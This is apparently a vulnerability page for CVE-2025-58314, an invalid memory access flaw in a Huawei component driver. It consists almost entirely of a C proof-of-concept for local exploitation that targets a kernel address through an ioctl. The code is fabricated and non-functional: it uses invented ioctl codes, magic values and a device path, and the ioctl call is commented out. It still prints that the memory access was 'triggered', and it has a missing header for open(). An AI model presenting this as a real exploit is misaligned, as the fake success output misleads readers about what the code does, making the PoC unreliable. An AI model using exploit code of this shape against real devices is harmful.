华为组件驱动模块访问无效内存漏洞（CVE-2025-58314）

/* * CVE-2025-58314 PoC - Local privilege exploitation * Target: Huawei device component driver module * Type: Invalid memory access * * Note: This is a conceptual PoC for educational purposes only. * Actual exploitation requires specific device and driver context. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Simulated driver interface #define DRIVER_IOCTL_CODE 0xDEADBEEF #define DRIVER_MAGIC 0x12345678 // Malicious payload structure struct exploit_payload { uint32_t magic; uint32_t cmd; uint64_t target_addr; uint32_t size; uint8_t data[256]; }; // Trigger the invalid memory access int trigger_vulnerability(int fd, uint64_t target_addr) { struct exploit_payload payload; // Initialize payload memset(&payload, 0, sizeof(payload)); payload.magic = DRIVER_MAGIC; payload.cmd = 0x1001; // Trigger memory access path payload.target_addr = target_addr; // Invalid/unauthorized address payload.size = 0x100; // Fill with trigger pattern memset(payload.data, 0x41, sizeof(payload.data)); // Send ioctl to driver printf("[*] Sending exploit payload to driver...\n"); printf("[*] Target address: 0x%lx\n", target_addr); // This would call the vulnerable driver function // ioctl(fd, DRIVER_IOCTL_CODE, &payload); printf("[!] Invalid memory access triggered\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-58314 PoC - Huawei Component Driver\n"); printf("===========================================\n\n"); // Open driver device (requires local access) int fd = open("/dev/huawei_driver", O_RDWR); if (fd < 0) { printf("[-] Failed to open driver device\n"); printf("[*] Note: Requires root or low-privilege access (PR:L)\n"); return 1; } // Target kernel memory address for information disclosure uint64_t target_addr = 0xFFFF888000000000; if (argc > 1) { sscanf(argv[1], "0x%lx", &target_addr); } printf("[*] Triggering invalid memory access...\n\n"); trigger_vulnerability(fd, target_addr); close(fd); return 0; } /* * Usage: * gcc -o cve_poc cve_poc.c * ./cve_poc [target_address] * * Impact: * - Confidentiality: Read unauthorized memory (C:H) * - Availability: System crash/DoS (A:L) */